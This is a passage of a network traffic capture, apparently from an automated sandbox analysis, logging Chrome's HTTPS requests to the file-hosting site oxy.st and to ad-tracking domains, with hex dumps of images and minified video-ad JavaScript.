2024-06-15 09:14:53 UTC	2059	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7c 00 00 00 31 08 06 00 00 00 18 d8 cd 0c 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 07 b0 49 44 41 54 78 9c ed 9a 0b 6c 4f 57 1c c7 51 1d 33 94 90 2e 63 8b 79 5b 8d 04 d9 c6 86 6d 31 61 36 af 3d 34 ea b1 cc 66 b2 c8 2a 52 8f 10 db cc 36 6c f3 8e a0 89 19 35 6f 8d c6 ab 74 d6 52 89 90 d6 f4 a5 2d fd b7 da a6 6f ad 52 04 fd b7 bd fb 9c ba 7f 39 3d fe 7f fd d3 ff dd 3f 99 f3 4d 3e 39 f7 7f ce b9 f7 dc f3 fb de f3 b8 b7 6d d4 48 cb a3 ba 78 f1 e2 90 94 94 94 4d 90 09 77 e0 16 24 91 ff 33 bc aa d6 37 0c 63 24 6c 85 1c b8 03 15 10 0f df 42 37 6f f4 41 cb 0d 61 66 00 84 61 6e 29 18 2e c8 4d 4e 4e 5e 9e 95 95 e5 8f 99 fd 20 1c 6e 18 ae 65 33 Data Ascii: PNGIHDR\|1sRGB,pHYsIDATxlOWQ3.cy[m1a6=4f*R6l5otR-oR9=?M>9mHxMw$37c$lB7oAafan).MNN^ ne3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49721	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:53 UTC	422	OUT	GET /img/oxy-logo.svg HTTP/1.1 Host: oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:53 UTC	381	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 08 Jun 2024 08:24:24 GMT Content-Type: image/svg+xml Content-Length: 8217 Last-Modified: Wed, 17 Feb 2021 01:25:02 GMT Vary: Accept-Encoding ETag: "602c706e-2019" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 607830 DDG-Cache-Status: HIT
2024-06-15 09:14:53 UTC	8217	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 37 36 22 20 68 65 69 67 68 74 3d 22 32 38 37 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 37 36 20 32 38 37 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 39 36 2e 35 20 32 34 33 43 31 32 30 2e 32 30 34 20 32 35 35 2e 36 36 34 20 31 34 32 2e 30 39 35 20 32 35 38 2e 32 38 33 20 31 36 38 2e 32 39 38 20 32 35 32 2e 33 31 31 43 31 39 34 2e 35 30 32 20 32 34 36 2e 33 33 39 20 32 31 37 2e 36 37 20 32 33 31 2e 31 31 32 20 32 33 33 2e 35 34 36 20 32 30 39 2e 34 32 38 Data Ascii: <svg width="1276" height="287" viewBox="0 0 1276 287" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M96.5 243C120.204 255.664 142.095 258.283 168.298 252.311C194.502 246.339 217.67 231.112 233.546 209.428

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49720	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:53 UTC	672	OUT	GET /images/ltd.svg HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:53 UTC	382	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Thu, 13 Jun 2024 01:16:05 GMT Content-Type: image/svg+xml Content-Length: 50208 Last-Modified: Fri, 20 Nov 2020 00:55:29 GMT Vary: Accept-Encoding ETag: "5fb71401-c420" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 201528 DDG-Cache-Status: HIT
2024-06-15 09:14:53 UTC	16002	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 33 36 39 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 39 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 2e 34 35 30 32 20 31 31 2e 32 35 36 38 4c 37 2e 32 39 33 39 35 20 33 2e 30 34 36 38 38 48 38 2e 37 32 39 34 39 4c 35 2e 30 33 38 30 39 20 31 33 48 33 2e 38 37 35 39 38 4c 30 2e 31 39 31 34 30 36 20 33 2e 30 34 36 38 38 48 31 2e 36 32 30 31 32 4c 34 2e 34 35 30 32 20 31 31 2e 32 35 36 38 5a 4d 31 35 2e 36 39 35 33 20 38 2e 33 39 39 34 31 48 31 31 2e 33 38 31 38 56 31 31 2e 39 32 36 38 48 31 36 2e 33 39 32 36 56 31 33 48 31 30 2e 30 36 Data Ascii: <svg width="369" height="48" viewBox="0 0 369 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M4.4502 11.2568L7.29395 3.04688H8.72949L5.03809 13H3.87598L0.191406 3.04688H1.62012L4.4502 11.2568ZM15.6953 8.39941H11.3818V11.9268H16.3926V13H10.06
2024-06-15 09:14:53 UTC	16384	IN	Data Raw: 39 34 31 20 32 38 37 2e 31 38 32 20 38 2e 35 37 32 35 39 20 32 38 36 2e 38 33 36 20 38 2e 39 31 38 39 35 43 32 38 36 2e 34 39 34 20 39 2e 32 36 35 33 20 32 38 36 2e 33 32 33 20 39 2e 37 32 31 30 33 20 32 38 36 2e 33 32 33 20 31 30 2e 32 38 36 31 43 32 38 36 2e 33 32 33 20 31 30 2e 38 35 31 32 20 32 38 36 2e 34 39 20 31 31 2e 32 39 35 36 20 32 38 36 2e 38 32 32 20 31 31 2e 36 31 39 31 43 32 38 37 2e 31 36 20 31 31 2e 39 34 32 37 20 32 38 37 2e 36 32 37 20 31 32 2e 31 30 34 35 20 32 38 38 2e 32 32 34 20 31 32 2e 31 30 34 35 43 32 38 38 2e 38 31 36 20 31 32 2e 31 30 34 35 20 32 38 39 2e 32 38 31 20 31 31 2e 39 34 32 37 20 32 38 39 2e 36 31 38 20 31 31 2e 36 31 39 31 43 32 38 39 2e 39 35 35 20 31 31 2e 32 39 31 20 32 39 30 2e 31 32 34 20 31 30 2e 38 34 36 37 Data Ascii: 941 287.182 8.57259 286.836 8.91895C286.494 9.2653 286.323 9.72103 286.323 10.2861C286.323 10.8512 286.49 11.2956 286.822 11.6191C287.16 11.9427 287.627 12.1045 288.224 12.1045C288.816 12.1045 289.281 11.9427 289.618 11.6191C289.955 11.291 290.124 10.8467
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 32 2e 30 36 38 20 32 32 2e 31 30 39 34 43 31 38 32 2e 35 35 31 20 32 32 2e 35 33 33 32 20 31 38 32 2e 38 30 32 20 32 33 2e 31 31 38 38 20 31 38 32 2e 38 32 20 32 33 2e 38 36 36 32 56 32 37 2e 32 37 30 35 43 31 38 32 2e 38 32 20 32 37 2e 39 34 39 35 20 31 38 32 2e 39 30 37 20 32 38 2e 34 38 39 36 20 31 38 33 2e 30 38 20 32 38 2e 38 39 30 36 56 32 39 48 31 38 31 2e 37 35 34 5a 4d 31 37 39 2e 36 35 35 20 32 38 2e 30 33 36 31 43 31 38 30 2e 30 35 32 20 32 38 2e 30 33 36 31 20 31 38 30 2e 34 32 38 20 32 37 2e 39 33 33 36 20 31 38 30 2e 37 38 33 20 32 37 2e 37 32 38 35 43 31 38 31 2e 31 33 39 20 32 37 2e 35 32 33 34 20 31 38 31 2e 33 39 36 20 32 37 2e 32 35 36 38 20 31 38 31 2e 35 35 36 20 32 36 2e 39 32 38 37 56 32 35 2e 34 31 31 31 48 31 38 30 2e 35 36 34 43 Data Ascii: 2.068 22.1094C182.551 22.5332 182.802 23.1188 182.82 23.8662V27.2705C182.82 27.9495 182.907 28.4896 183.08 28.8906V29H181.754ZM179.655 28.0361C180.052 28.0361 180.428 27.9336 180.783 27.7285C181.139 27.5234 181.396 27.2568 181.556 26.9287V25.4111H180.564C
2024-06-15 09:14:54 UTC	1438	IN	Data Raw: 33 35 20 33 31 2e 39 31 37 20 34 34 2e 30 36 33 35 43 33 32 2e 38 38 33 31 20 34 34 2e 30 36 33 35 20 33 33 2e 35 32 35 37 20 34 33 2e 37 30 33 35 20 33 33 2e 38 34 34 37 20 34 32 2e 39 38 33 34 56 33 37 2e 36 30 33 35 48 33 35 2e 31 30 39 34 56 34 35 48 33 33 2e 39 30 36 32 4c 33 33 2e 38 37 38 39 20 34 34 2e 32 36 38 36 5a 4d 34 31 2e 33 34 33 38 20 34 33 2e 30 33 38 31 43 34 31 2e 33 34 33 38 20 34 32 2e 36 39 36 33 20 34 31 2e 32 31 33 39 20 34 32 2e 34 33 32 20 34 30 2e 39 35 34 31 20 34 32 2e 32 34 35 31 43 34 30 2e 36 39 38 39 20 34 32 2e 30 35 33 37 20 34 30 2e 32 35 20 34 31 2e 38 38 39 36 20 33 39 2e 36 30 37 34 20 34 31 2e 37 35 32 39 43 33 38 2e 39 36 39 34 20 34 31 2e 36 31 36 32 20 33 38 2e 34 36 31 33 20 34 31 2e 34 35 32 31 20 33 38 2e 30 Data Ascii: 35 31.917 44.0635C32.8831 44.0635 33.5257 43.7035 33.8447 42.9834V37.6035H35.1094V45H33.9062L33.8789 44.2686ZM41.3438 43.0381C41.3438 42.6963 41.2139 42.432 40.9541 42.2451C40.6989 42.0537 40.25 41.8896 39.6074 41.7529C38.9694 41.6162 38.4613 41.4521 38.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49724	23.212.88.20	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:53 UTC	633	OUT	GET /flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0&cid=8CU7BC15F&crid= HTTP/1.1 Host: lg3.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:54 UTC	328	IN	HTTP/1.1 200 OK Content-Length: 35 Content-Type: image/gif Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=21600 Alt-Svc: h3=":443"; ma=93600 Expires: Sat, 15 Jun 2024 09:14:53 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 15 Jun 2024 09:14:53 GMT Connection: close
2024-06-15 09:14:54 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49723	193.17.93.93	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:53 UTC	512	OUT	GET /js/rlf.js HTTP/1.1 Host: cdn.adlook.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:54 UTC	339	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:14:54 GMT Content-Type: application/javascript,application/javascript;charset=utf-8 Content-Length: 82300 Connection: close Last-Modified: Fri, 14 Jun 2024 08:43:12 GMT ETag: "31f2ede336beda1:0" X-Powered-By: ASP.NET Cache: MISS X-Node: m9p-up-gc8 Accept-Ranges: bytes
2024-06-15 09:14:54 UTC	3757	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 20 73 28 72 2c 61 2c 68 29 7b 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 69 66 28 21 61 5b 65 5d 29 7b 69 66 28 21 72 5b 65 5d 29 7b 76 61 72 20 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 26 26 72 65 71 75 69 72 65 3b 69 66 28 21 74 26 26 69 29 72 65 74 75 72 6e 20 69 28 65 2c 21 30 29 3b 69 66 28 75 29 72 65 74 75 72 6e 20 75 28 65 2c 21 30 29 3b 76 61 72 20 6f 3d 6e 65 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 6d 6f 64 75 6c 65 20 27 22 2b 65 2b 22 27 22 29 3b 74 68 72 6f 77 20 6f 2e 63 6f 64 65 3d 22 4d 4f 44 55 4c 45 5f 4e 4f 54 5f 46 4f 55 4e 44 22 2c 6f 7d 76 61 72 20 6e 3d 61 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 5b 65 5d 5b 30 5d 2e 63 61 Data Ascii: !function s(r,a,h){function l(e,t){if(!a[e]){if(!r[e]){var i="function"==typeof require&&require;if(!t&&i)return i(e,!0);if(u)return u(e,!0);var o=new Error("Cannot find module '"+e+"'");throw o.code="MODULE_NOT_FOUND",o}var n=a[e]={exports:{}};r[e][0].ca
2024-06-15 09:14:54 UTC	4096	IN	Data Raw: 6c 6f 74 2c 22 61 64 6c 6b 2d 65 78 70 6f 73 69 6e 67 22 2c 21 31 29 7d 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 75 70 64 61 74 65 54 69 6d 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 5f 65 6c 65 6d 54 69 6d 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 6d 69 6e 54 69 6d 65 2d 74 68 69 73 2e 5f 74 69 6d 65 3b 6f 2e 69 6e 6e 65 72 28 74 68 69 73 2e 5f 65 6c 65 6d 54 69 6d 65 2c 30 3c 74 3f 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 69 6d 65 54 65 78 74 2e 72 65 70 6c 61 63 65 28 22 7b 74 69 6d 65 7d 22 2c 74 29 3a 22 22 29 7d 7d 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 6f 6e 43 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 28 74 68 69 73 2e 5f 68 6f 73 74 7c 7c 7b 7d 29 2e 6f 6e 43 6c 6f 73 65 3b 74 26 26 74 2e Data Ascii: lot,"adlk-exposing",!1)},n.prototype._updateTiming=function(){if(this._elemTime){var t=this._minTime-this._time;o.inner(this._elemTime,0<t?this._config.timeText.replace("{time}",t):"")}},n.prototype._onClose=function(){var t=(this._host\|\|{}).onClose;t&&t.
2024-06-15 09:14:54 UTC	4096	IN	Data Raw: 6f 6e 28 29 7b 72 65 74 75 72 6e 21 21 74 68 69 73 2e 5f 61 64 4c 6f 61 64 46 69 72 65 64 7c 7c 28 74 68 69 73 2e 5f 61 64 4c 6f 61 64 46 69 72 65 64 3d 21 30 2c 74 68 69 73 2e 5f 63 61 6c 6c 45 76 65 6e 74 28 22 41 64 4c 6f 61 64 65 64 22 29 2c 21 31 29 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 65 6e 73 75 72 65 41 64 53 74 61 72 74 46 69 72 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 21 74 68 69 73 2e 5f 61 64 53 74 61 72 74 46 69 72 65 64 7c 7c 28 74 68 69 73 2e 5f 61 64 53 74 61 72 74 46 69 72 65 64 3d 21 30 2c 74 68 69 73 2e 5f 63 61 6c 6c 45 76 65 6e 74 28 22 41 64 53 74 61 72 74 65 64 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 21 30 29 2c 21 31 29 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 70 72 6f 63 65 65 64 4a 6f 62 3d 66 75 6e Data Ascii: on(){return!!this._adLoadFired\|\|(this._adLoadFired=!0,this._callEvent("AdLoaded"),!1)},h.prototype._ensureAdStartFired=function(){return!!this._adStartFired\|\|(this._adStartFired=!0,this._callEvent("AdStarted",null,null,!0),!1)},h.prototype._proceedJob=fun
2024-06-15 09:14:54 UTC	4096	IN	Data Raw: 5f 73 6c 6f 74 2c 22 61 64 6c 6b 2d 6e 6f 2d 66 65 61 74 22 2c 21 74 68 69 73 2e 5f 74 65 63 68 2e 68 61 73 46 65 61 74 75 72 65 73 28 29 29 2c 74 68 69 73 2e 5f 74 69 6d 65 62 61 72 26 26 28 74 68 69 73 2e 5f 74 69 6d 65 62 61 72 2e 73 74 61 72 74 28 29 2c 74 68 69 73 2e 5f 75 70 64 61 74 65 54 69 6d 65 62 61 72 44 75 72 61 74 69 6f 6e 28 29 29 3b 76 61 72 20 74 3d 74 68 69 73 2e 5f 74 65 63 68 2e 6a 6f 62 3b 74 68 69 73 2e 5f 6f 70 74 2e 77 74 6d 26 26 74 2e 77 74 6d 26 26 74 68 69 73 2e 5f 61 64 64 57 61 74 65 72 6d 61 72 6b 28 74 2e 77 74 6d 29 2c 73 2e 65 78 74 65 6e 64 28 74 2e 6c 62 6c 2c 74 2e 63 68 61 69 6e 2e 6c 61 73 74 28 29 2e 67 65 74 4e 72 6f 61 28 29 29 2c 74 68 69 73 2e 5f 6d 65 6e 75 2e 61 64 28 74 2e 6c 62 6c 29 2c 74 68 69 73 2e 5f 74 Data Ascii: _slot,"adlk-no-feat",!this._tech.hasFeatures()),this._timebar&&(this._timebar.start(),this._updateTimebarDuration());var t=this._tech.job;this._opt.wtm&&t.wtm&&this._addWatermark(t.wtm),s.extend(t.lbl,t.chain.last().getNroa()),this._menu.ad(t.lbl),this._t
2024-06-15 09:14:54 UTC	4096	IN	Data Raw: 29 2c 74 68 69 73 2e 5f 74 72 61 63 6b 65 72 3d 6e 65 77 20 67 28 74 68 69 73 2e 5f 6c 6f 67 67 65 72 2c 74 68 69 73 2e 5f 73 6c 6f 74 2c 74 2e 63 68 61 69 6e 29 2c 74 68 69 73 2e 5f 65 6e 73 75 72 65 56 69 64 65 6f 53 6c 6f 74 28 29 2c 74 68 69 73 2e 5f 74 72 61 63 6b 28 22 72 65 71 75 65 73 74 22 2c 21 30 29 2c 74 68 69 73 2e 5f 74 65 63 68 2e 69 6e 69 74 28 74 68 69 73 2c 74 68 69 73 2e 5f 6c 6f 67 67 65 72 2c 74 68 69 73 2e 5f 73 6c 6f 74 2c 74 68 69 73 2e 5f 76 69 64 65 6f 53 6c 6f 74 2c 74 68 69 73 2e 5f 77 69 64 74 68 2c 74 68 69 73 2e 5f 68 65 69 67 68 74 2c 74 68 69 73 2e 5f 76 69 65 77 4d 6f 64 65 2c 74 68 69 73 2e 5f 64 65 73 69 72 65 64 42 69 74 72 61 74 65 2c 74 2e 63 68 61 69 6e 2e 6c 61 73 74 28 29 2c 74 68 69 73 2e 5f 6f 70 74 29 29 72 65 Data Ascii: ),this._tracker=new g(this._logger,this._slot,t.chain),this._ensureVideoSlot(),this._track("request",!0),this._tech.init(this,this._logger,this._slot,this._videoSlot,this._width,this._height,this._viewMode,this._desiredBitrate,t.chain.last(),this._opt))re
2024-06-15 09:14:54 UTC	2043	IN	Data Raw: 29 3b 30 3c 69 3f 73 65 74 54 69 6d 65 6f 75 74 28 6e 2c 69 29 3a 6e 28 29 7d 7d 2c 65 2e 65 78 70 6f 72 74 73 3d 68 7d 2c 7b 22 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 63 6f 6d 6d 6f 6e 2f 6a 73 2f 64 6f 6d 22 3a 31 36 2c 22 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 63 6f 6d 6d 6f 6e 2f 6a 73 2f 69 6e 74 65 72 76 65 6e 74 69 6f 6e 73 22 3a 31 37 2c 22 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 63 6f 6d 6d 6f 6e 2f 6a 73 2f 75 74 69 6c 73 22 3a 32 30 2c 22 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 63 6f 6d 6d 6f 6e 2f 6a 73 2f 76 69 73 69 62 69 6c 69 74 79 22 3a 32 31 2c 22 2e 2f 61 75 64 69 65 6e 63 65 72 22 3a 31 2c 22 2e 2f 6d 65 6e 75 22 3a 35 2c 22 2e 2f 72 65 71 75 65 73 74 65 72 22 3a 36 2c 22 2e 2f 72 6f 74 61 74 6f 72 22 3a 37 2c 22 2e 2f 74 69 6d 65 62 61 72 22 3a 38 2c 22 2e 2f Data Ascii: );0<i?setTimeout(n,i):n()}},e.exports=h},{"./../../../common/js/dom":16,"./../../../common/js/interventions":17,"./../../../common/js/utils":20,"./../../../common/js/visibility":21,"./audiencer":1,"./menu":5,"./requester":6,"./rotator":7,"./timebar":8,"./
2024-06-15 09:14:54 UTC	4096	IN	Data Raw: 75 2e 5f 70 72 6f 63 65 65 64 56 61 73 74 73 28 74 2c 69 2c 6f 2c 6e 2c 73 2c 68 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 68 28 6e 75 6c 6c 29 7d 29 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 61 70 70 6c 79 50 6c 61 63 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 76 61 72 20 6f 3d 28 74 3d 74 7c 7c 7b 7d 29 2e 74 61 67 73 7c 7c 5b 5d 3b 69 66 28 30 3c 6f 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 6e 3d 74 2e 73 6c 6f 74 3b 6e 26 26 69 28 6e 29 3b 76 61 72 20 73 3d 74 2e 70 6f 73 7c 7c 5b 5d 2c 72 3d 74 2e 6c 6d 74 7c 7c 5b 5d 2c 61 3d 74 2e 6c 62 6c 7c 7c 7b 7d 2c 68 3d 74 2e 77 74 6d 7c 7c 5b 5d 3b 74 68 69 73 2e 5f 70 72 6f 63 65 65 64 56 61 73 74 73 28 6f 2c 73 2c 72 2c 61 2c 68 2c 65 29 7d 65 6c 73 65 20 66 6e 28 6e 75 6c 6c 29 7d 2c Data Ascii: u._proceedVasts(t,i,o,n,s,h)},function(){h(null)})},o.prototype.applyPlacement=function(t,e,i){var o=(t=t\|\|{}).tags\|\|[];if(0<o.length){var n=t.slot;n&&i(n);var s=t.pos\|\|[],r=t.lmt\|\|[],a=t.lbl\|\|{},h=t.wtm\|\|[];this._proceedVasts(o,s,r,a,h,e)}else fn(null)},
2024-06-15 09:14:54 UTC	4096	IN	Data Raw: 28 29 7b 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 54 69 6d 65 72 28 29 2c 74 68 69 73 2e 5f 64 75 72 61 74 69 6f 6e 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 62 61 72 26 26 28 6f 2e 72 65 6d 6f 76 65 28 74 68 69 73 2e 5f 62 61 72 29 2c 74 68 69 73 2e 5f 62 61 72 3d 6e 75 6c 6c 29 7d 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 65 6e 73 75 72 65 42 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 62 61 72 7c 7c 28 74 68 69 73 2e 5f 62 61 72 3d 6f 2e 68 74 6d 6c 28 22 26 6e 62 73 70 3b 22 2c 7b 63 6c 61 73 73 3a 22 61 64 6c 6b 2d 74 69 6d 65 62 61 72 22 7d 29 2c 74 68 69 73 2e 5f 73 6c 6f 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 68 69 73 2e 5f 62 61 72 29 29 7d 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 75 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: (){this._destroyTimer(),this._duration=null,this._bar&&(o.remove(this._bar),this._bar=null)},s.prototype._ensureBar=function(){this._bar\|\|(this._bar=o.html(" ",{class:"adlk-timebar"}),this._slot.appendChild(this._bar))},s.prototype._update=function()
2024-06-15 09:14:54 UTC	4096	IN	Data Raw: 74 29 7b 74 72 79 7b 74 68 69 73 2e 5f 76 69 64 65 6f 53 6c 6f 74 2e 76 6f 6c 75 6d 65 3d 70 61 72 73 65 46 6c 6f 61 74 28 74 29 2c 74 68 69 73 2e 5f 6c 6f 67 28 22 56 61 73 74 54 65 63 68 3a 20 63 68 61 6e 67 65 64 20 76 6f 6c 75 6d 65 3a 20 22 2b 74 68 69 73 2e 5f 76 69 64 65 6f 53 6c 6f 74 2e 76 6f 6c 75 6d 65 2c 22 64 65 62 75 67 22 29 7d 63 61 74 63 68 28 74 29 7b 74 68 69 73 2e 5f 6c 6f 67 28 22 46 61 6c 65 64 20 74 6f 20 73 65 74 20 76 6f 6c 75 6d 65 3a 20 22 2b 74 2c 22 65 72 72 6f 72 22 29 7d 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 56 6f 6c 75 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 74 68 69 73 2e 5f 76 69 64 65 6f 53 6c 6f 74 2e 76 6f 6c 75 6d 65 29 7d 63 61 74 63 68 Data Ascii: t){try{this._videoSlot.volume=parseFloat(t),this._log("VastTech: changed volume: "+this._videoSlot.volume,"debug")}catch(t){this._log("Faled to set volume: "+t,"error")}},r.prototype.getVolume=function(){try{return parseFloat(this._videoSlot.volume)}catch
2024-06-15 09:14:54 UTC	4096	IN	Data Raw: 73 74 2c 74 29 7d 65 6c 73 65 20 74 68 69 73 2e 5f 6c 6f 67 28 22 63 61 6e 20 6e 6f 74 20 63 61 6c 6c 20 68 6f 73 74 20 73 69 6e 63 65 20 69 74 20 69 73 20 6d 69 73 73 65 64 22 2c 22 64 75 6d 70 22 29 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 68 69 73 2e 5f 6c 6f 67 67 65 72 5b 65 7c 7c 22 64 65 62 75 67 22 5d 28 22 56 41 53 54 20 23 22 2b 74 68 69 73 2e 69 64 2b 22 3a 20 22 2b 74 29 7d 2c 65 2e 65 78 70 6f 72 74 73 3d 72 7d 2c 7b 22 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 63 6f 6d 6d 6f 6e 2f 6a 73 2f 63 6f 6e 66 69 67 22 3a 31 35 2c 22 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 63 6f 6d 6d 6f 6e 2f 6a 73 2f 64 6f 6d 22 3a 31 36 7d 5d 2c 31 31 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 22 75 73 65 20 Data Ascii: st,t)}else this._log("can not call host since it is missed","dump")},r.prototype._log=function(t,e){this._logger[e\|\|"debug"]("VAST #"+this.id+": "+t)},e.exports=r},{"./../../../common/js/config":15,"./../../../common/js/dom":16}],11:[function(t,e,i){"use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
